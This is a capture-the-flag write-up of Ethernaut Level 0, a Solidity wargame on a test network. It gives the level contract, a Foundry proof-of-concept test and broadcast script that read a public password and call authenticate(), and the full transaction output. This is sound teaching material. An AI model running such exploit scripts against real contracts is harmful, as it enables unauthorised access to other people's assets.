Level 0: Hello Ethernaut

This level contains instruction on how to setup and connect via metamask on the Rinkeby network. Some helpful commands were also introduced;

• player: displays the player's address.
• getBalance(addr): displays ether balance in addr.
• help: displays in-game help menu
• ethernaut: game's main smart-contract
• ethernaut.owner(): queries and returns owner of ethernaut game.
• contract: level's contract ABI
• contract.info(): get level's info

To complete this level:

• Click "Get new instance" button to get a new instance
• await contact.info() and follow prompts

• click on the "Submit instance" button after signing the .authenticate transaction

• On completion, it shows the level's contract source code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Instance {

  string public password;
  uint8 public infoNum = 42;
  string public theMethodName = 'The method name is method7123949.';
  bool private cleared = false;

  // constructor
  constructor(string memory _password) public {
    password = _password;
  }

  function info() public pure returns (string memory) {
    return 'You will find what you need in info1().';
  }

  function info1() public pure returns (string memory) {
    return 'Try info2(), but with "hello" as a parameter.';
  }

  function info2(string memory param) public pure returns (string memory) {
    if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
      return 'The property infoNum holds the number of the next info method to call.';
    }
    return 'Wrong parameter.';
  }

  function info42() public pure returns (string memory) {
    return 'theMethodName is the name of the next method.';
  }

  function method7123949() public pure returns (string memory) {
    return 'If you know the password, submit it to authenticate().';
  }

  function authenticate(string memory passkey) public {
    if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
      cleared = true;
    }
  }

  function getCleared() public view returns (bool) {
    return cleared;
  }
}

Review 🕵️🕵️‍♀️🕵️‍♂️

After having the source code for this level, I can say the technical objective of this level is to

"set the cleared state variable to true".

And the only obvious way to do that is to pass through the authenticate function, which requires us to know the passkey. The passkey is equivalent to the password state variable. The password is a public state variable and can be read directly via contract interaction.

Test

To try this out, I'll request for a new instance and write the POC in solidity. 🤞🤞🤞🤞🤞

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Test.sol";
import "@level0/instance.sol";

contract POC is Test{
    Instance instance = Instance(0x40123A7989f37D4075b5ac9a0b3818930A36F4ab);

    function testHack() public returns(bool){
        assertFalse(instance.getCleared());
        instance.authenticate(instance.password());
        assertTrue(instance.getCleared());
    }
}

Test output

> forge test -vvv --fork-url $RPC_URL
[⠑] Compiling...
No files changed, compilation skipped

Running 1 test for test/level0/poc.sol:POC
[PASS] testHack():(bool) (gas: 35290)
Test result: ok. 1 passed; 0 failed; finished in 5.58s

Our test works now. Let's migrate this to a script so that the data would be persisted on the blockchain, then we can click the "Submit instance" on the ethernaut page.

Script

The script is similar to the test file;

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "@level0/instance.sol";

contract POC is Script {
    Instance instance = Instance(0x40123A7989f37D4075b5ac9a0b3818930A36F4ab);

    function run() external {
        vm.startBroadcast();

        require(!instance.getCleared(), "Level completed already");
        instance.authenticate(instance.password());
        require(instance.getCleared(), "failed to complete level");

        vm.stopBroadcast();
    }
}

Script output

Hurray! It was a success!!! Here are the logs

> forge script ./script/level0/poc.s.sol:POC --rpc-url $RPC_URL  --private-key $PRIVATE_KEY --broadcast -vvvv

[⠒] Compiling...
[⠆] Compiling 1 files with 0.6.12
[⠰] Solc 0.6.12 finished in 614.02ms
Compiler run successful
Traces:
  [38375] POC::run() 
    ├─ [0] VM::startBroadcast() 
    │   └─ ← ()
    ├─ [2450] 0x4012…f4ab::3c848d78() [staticcall]
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000000
    ├─ [3152] 0x4012…f4ab::224b610b() [staticcall]
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a65746865726e6175743000000000000000000000000000000000000000000000
    ├─ [21513] 0x4012…f4ab::aa613b29(0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a65746865726e6175743000000000000000000000000000000000000000000000) 
    │   └─ ← ()
    ├─ [450] 0x4012…f4ab::3c848d78() [staticcall]
    │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    ├─ [0] VM::stopBroadcast() 
    │   └─ ← ()
    └─ ← ()


Script ran successfully.
Gas used: 38375
==========================
Simulated On-chain Traces:

  [47105] 0x4012…f4ab::aa613b29(0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a65746865726e6175743000000000000000000000000000000000000000000000) 
    └─ ← ()


==========================

Estimated total gas used for script: 47105
==========================

###
Finding wallets for all the necessary addresses...
##
Sending transactions [0 - 0].
⠁ [00:00:00] [#########################################################################################################################################] 1/1 txes (0.0s)
Transactions saved to: broadcast/poc.s.sol/4/run-latest.json

##
Waiting for receipts.
⠉ [00:00:18] [#####################################################################################################################################] 1/1 receipts (0.0s)
#####
✅ Hash: 0xa195faa5dd6cf7ca68e8e25c51396256b8c2877521737e40247c27eb62ded2e7
Block: 11001556
Paid: 0.000141315000423945 ETH (47105 gas * 3.000000009 gwei)


Transactions saved to: broadcast/poc.s.sol/4/run-latest.json



==========================

ONCHAIN EXECUTION COMPLETE & SUCCESSFUL. Transaction receipts written to "broadcast/poc.s.sol/4/run-latest.json"

Transactions saved to: broadcast/poc.s.sol/4/run-latest.json

Clicking on the "Submit instance" button after that:

Cheers! 🏆🏆🏆🏆 Let's have some fun!! Onto the next one!

🚴